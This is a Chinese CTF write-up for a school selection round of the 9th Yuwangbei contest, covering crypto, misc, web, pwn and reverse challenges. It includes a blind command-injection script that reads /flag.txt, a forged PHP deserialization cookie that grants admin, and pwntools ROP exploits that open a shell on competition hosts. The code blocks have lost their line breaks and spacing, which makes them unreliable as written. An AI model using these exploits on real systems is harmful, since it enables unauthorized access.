第九届御网杯网络安全大赛校级选拔赛题解

admin 2025年5月15日09:42:00评论1 views字数 7075阅读23分35秒阅读模式

第九届御网杯网络安全大赛校级选拔赛题解

    本届御网杯题目难度相对较低,毕竟是校级选拔赛,题型也较为基础。不过其中几题挺有创意,属于脑洞题。接下来,我将分享解题思路。如有错误或更优解,欢迎批评指正并交流。

Crypto

cry_rsa

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=19

求解出d,然后把d的值加a为flag值。flag格式为flag{********}

p = 473398607161q = 4511491e = 19phi = (p - 1) * (q - 1)d = pow(e, -1, phi)flag = d print(flag)

签到题

010Editor打开,赛博厨子直接梭哈。

第九届御网杯网络安全大赛校级选拔赛题解

Gift

第九届御网杯网络安全大赛校级选拔赛题解

根据题目中的级数形式 1 - 1/3 + 1/5 - 1/7 + ...,结合搜索结果的数学知识可以判断,这是著名的莱布尼茨级数,用于计算圆周率 π/4 的近似值。因此,该级数的和为 π/4,而“四分之一”对应题目中礼物被分成的“四份”,暗示最终的礼物与圆周率 π 相关。

级数的结果直接关联到圆周率 π,而 π 的英文发音与食物“派”(Pie)谐音,符合“礼物”的日常语境(如苹果派、南瓜派等)。

凯撒密码加密:根据凯撒密码的规则:

  1. P → T
  2. I → M
  3. E → I因此,“PIE”加密后为 TMI

答案推导:结合上述分析,礼物应为 pie(派),加密后得到 tmi

草甸方阵的密语

先栅栏解密,再凯撒解密,当然反过来也行。

baby_rsa

import requestsfrom Crypto.Util.number import long_to_bytes api = "https://factordb.com/api?query="deffactorize(n):    response = requests.get(api + str(n))if response.status_code != 200:returnNoneelif response.json()["status"] == "FF":if len(response.json()["factors"]) == 2:            p,q = int(response.json()["factors"][0][0]),int(response.json()["factors"][1][0])if p*q != int(n):returnNonereturn p,qreturnNonereturnNoneif __name__ == "__main__":    e = int(input("请输入模数e:"))    n = input("请输入公钥n:")    fac_n = factorize(n)if fac_n == None:        print("无法分解n")        exit()      p,q = fac_n[0],fac_n[1]    c = int(input("请输入密文c:"))    phi_n = (p-1)*(q-1)    d = pow(e,-1,phi_n)    m = pow(c,d,int(n))    print("明文为:",long_to_bytes(m))

ez_base

垃圾邮件解密

https://www.spammimic.com/decode.cgi

解出再后base64解

MISC

ez_xor

data = " "# 填写自己附件中的内容,去掉 -for i in range(0, len(data), 2):    a = int(data[i : i + 2], 16)    print(chr(a ^ 57), end="")

文本的-替换为空格

data = "xx xx xx xx".split()  # 分割十六进制字符串为列表for hex_byte in data:    a = int(hex_byte, 16)  # 转换为十进制整数    print(chr(a ^ 57), end="")  # 异或运算后转字符

被折叠的显影图纸

右键,文本文档,搜索flag

第九届御网杯网络安全大赛校级选拔赛题解

光隙中的寄生密钥

文件分离出压缩包

第九届御网杯网络安全大赛校级选拔赛题解

爆破压缩包密码得到

密钥:9864

然后文本Hex之后转Base64

ez_picture

随波逐流一把嗦

第九届御网杯网络安全大赛校级选拔赛题解
第九届御网杯网络安全大赛校级选拔赛题解

LSB row的RGB是压缩包密码999999999

继续随波逐流1.png

第九届御网杯网络安全大赛校级选拔赛题解

解密base64

第九届御网杯网络安全大赛校级选拔赛题解

easy_misc

import base64import base58import codecsdefdec_to_str(dec_str):"""    将十进制字符串(以空格分隔)转换为对应的字符字符串    :param dec_str: 十进制字符串,以空格分隔    :return: 转换后的字符字符串    """    dec_list = dec_str.split()    result = ""for dec in dec_list:try:            char_code = int(dec)            result += chr(char_code)except ValueError:            print(f"错误:{dec} 不是有效的十进制数")return resultdefbase64_decode(input_str):"""    对输入的字符串进行Base64解密    :param input_str: 待解密的Base64编码字符串    :return: 解密后的字符串    """try:        decoded_bytes = base64.b64decode(input_str)return decoded_bytes.decode('utf-8')except Exception as e:        print(f"Base64解密失败: {e}")return input_strdefbase58_decode(input_str):"""    对输入的字符串进行Base58解密    :param input_str: 待解密的Base58编码字符串    :return: 解密后的字符串    """try:        decoded_bytes = base58.b58decode(input_str)return decoded_bytes.decode('utf-8')except Exception as e:        print(f"Base58解密失败: {e}")return input_strdefrot13_decode(input_str):"""    对输入的字符串进行ROT13解密    :param input_str: 待解密的字符串    :return: 解密后的字符串    """return codecs.encode(input_str, 'rot_13')defmain():# 获取用户输入的十进制字符串    dec_input = input("请输入以空格分隔的十进制字符串: ")# 十进制转字符    str_result = dec_to_str(dec_input)    print(f"十进制转字符结果: {str_result}")# Base64解密    b64_result = base64_decode(str_result)    print(f"Base64解密结果: {b64_result}")# Base58解密    b58_result = base58_decode(b64_result)    print(f"Base58解密结果: {b58_result}")# ROT13解密    rot13_result = rot13_decode(b58_result)    print(f"ROT13解密结果: {rot13_result}")if __name__ == "__main__":    main()

套娃

解压三次 在文件夹里面的document.xml文件找flag

第九届御网杯网络安全大赛校级选拔赛题解
第九届御网杯网络安全大赛校级选拔赛题解

Web

YWB_Web_xff

第九届御网杯网络安全大赛校级选拔赛题解

改字段,然后随意输入账号密码登陆

flag{9u60w1kemajt}

YWB_Web_未授权访问

Cookie中user解码

O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}

记得url编码

O:5:"Admin":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

不会改cookie可以参考https://www.cnblogs.com/mmykdbc/p/12331451.html

flag{rpuqari28i9l}

easyweb

盲注脚本

import requestsimport timeurl = "http://47.105.113.86:40005/"flag = ""charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"# 常见字符timeout = 3# 延迟阈值(秒)for position in range(150):  # 假设 flag 不超过 50 字符    found = Falsefor char in charset:# 构造命令:检查第 position 个字符是否为 char        cmd = f"if [ $(cut -b {position} /flag.txt) = '{char}' ]; then sleep {timeout}; fi"try:            start = time.time()            response = requests.post(url, data={"cmd": cmd}, timeout=timeout + 2)            elapsed = time.time() - startif elapsed >= timeout:                flag += char                print(f"[+] Flag: {flag}")                found = Truebreakexcept:continueifnot found:break# 所有字符均未匹配,可能已到末尾print(f"Final Flag: {flag}")

flag{d4ek6s7kzztx}

命令执行绕过

Payload:http://47.105.113.86:40002/?cmd=readfile(%27/tmp/flag.nisp%27);

反序列化题目

Payload:O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}

在文本框提交

Pwn

Canary

from pwn import *p=remote('47.105.113.86',30001)sys_addr=0x401581payload=b'a'*(88+16)+p64(0)+p64(0)+p64(sys_addr)p.recvuntil('choice')p.sendline('1')p.recvuntil('code:')p.sendline(payload)p.recvuntil('choice')p.sendline('2')p.sendline('3')p.interactive()

flag{00d76796e489999226fb5bb27fe1b3b3}

ez_pwn

from pwn import*context(arch='amd64',log_level='debug')# p=process("./pwn")p=remote("47.105.113.86",30003)e=ELF("./pwn")libc=ELF("./libc-2.31.so")bss=0x404000pop_rdi=0x4012c3pop_rsi_r15=0x4012c1pop_rbp=0x40117dpayload=b'a'*0x20+p64(bss+0x300)+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(e.got['read'])+p64(0)+p64(e.plt['write'])+p64(0x4011E9)debug(p)p.recvuntil(" now.")p.sendline(payload)addr=u64(p.recv(6).ljust(0x8,b'x00'))-0x110fa0print("addr")payload1=b'a'*0x28+p64(0x4012bc)+p64(0)*4+p64(0xe6aee+addr)p.sendline(payload1)#exec 1>&0p.interactive()

flag{a51a3bdf23919f677efccd90270da72f}

Re

sign in

首先Linux脱壳

upx -d <文件名>

找密钥,然后解RC4

# 构造密钥v1 = [0xB8C6B89FC8B99FC8,0xCFB7B0C51443528F,0xB1A8C6B99BC7AC9C,0xBDC68AB3C59299C5]v2 = -1499806587key = b''for num in v1:    key += num.to_bytes(8'little')  # 每个v1元素转8字节小端key += v2.to_bytes(4'little', signed=True)  # v2转4字节小端,总密钥36字节# 构造密文(39字节)v3 = [0xC44817F289B15A46,0xE98EE51E34DE0202,0xB022D26986D7DB59]cipher = b''for num in v3:    cipher += num.to_bytes(8'little')  # v3贡献24字节# 处理v4的覆盖部分v4_initial = 0xF56522982F96412C.to_bytes(8'little')  # 初始8字节overwrite_val = 0x2AC59E52A6F4F5overwrite_bytes = overwrite_val.to_bytes(8'little')  # 覆盖的8字节小端# 合并:v4初始字节的前7字节 + 覆盖的8字节,共15字节v4_part = bytearray(v4_initial[:7])  # 前7字节保持原样v4_part += overwrite_bytes           # 添加覆盖的8字节cipher += bytes(v4_part)             # 总密文24+15=39字节# RC4解密函数defrc4_decrypt(key, ciphertext):    S = list(range(256))    j = 0# 初始化S盒for i in range(256):        j = (j + S[i] + key[i % len(key)]) % 256        S[i], S[j] = S[j], S[i]# 生成密钥流并解密    i = j = 0    plain = []for byte in ciphertext:        i = (i + 1) % 256        j = (j + S[i]) % 256        S[i], S[j] = S[j], S[i]        k = S[(S[i] + S[j]) % 256]        plain.append(byte ^ k)return bytes(plain)# 解密并输出flag = rc4_decrypt(key, cipher)print("Flag:", flag.decode('latin-1', errors='replace'))

ez_math

with open('./eqEnc3''rb'as f:    d = f.read()    key = 'eq verySimple'    dec = []for index, item in enumerate(d):        dec.append(item ^ ord(key[index % len(key)]))with open('eq_decoded.txt''wb'as f2:        f2.write(bytes(dec))
from z3 import *solver = Solver()x = [BitVec(f'x_{i}'8for i in range(38)]for var in x:    solver.add(var >= 32, var <= 126)with open('eq_decoded.txt''r'as f:    equations = f.readlines()for i, eq in enumerate(equations):    eq = eq.strip()    expr = eval(eq, {}, {"x": x})    solver.add(expr)if solver.check() == sat:    model = solver.model()    sorted_model = sorted([(d, model[d].as_long()) for d in model],key=lambda x: int(x[0].name().split('_')[1]))    ascii_result = "".join([chr(value) for _, value in sorted_model if0 <= value <= 255])    print(ascii_result)

原文始发于微信公众号(赛查查):第九届御网杯网络安全大赛校级选拔赛题解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日09:42:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第九届御网杯网络安全大赛校级选拔赛题解https://cn-sec.com/archives/4064516.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息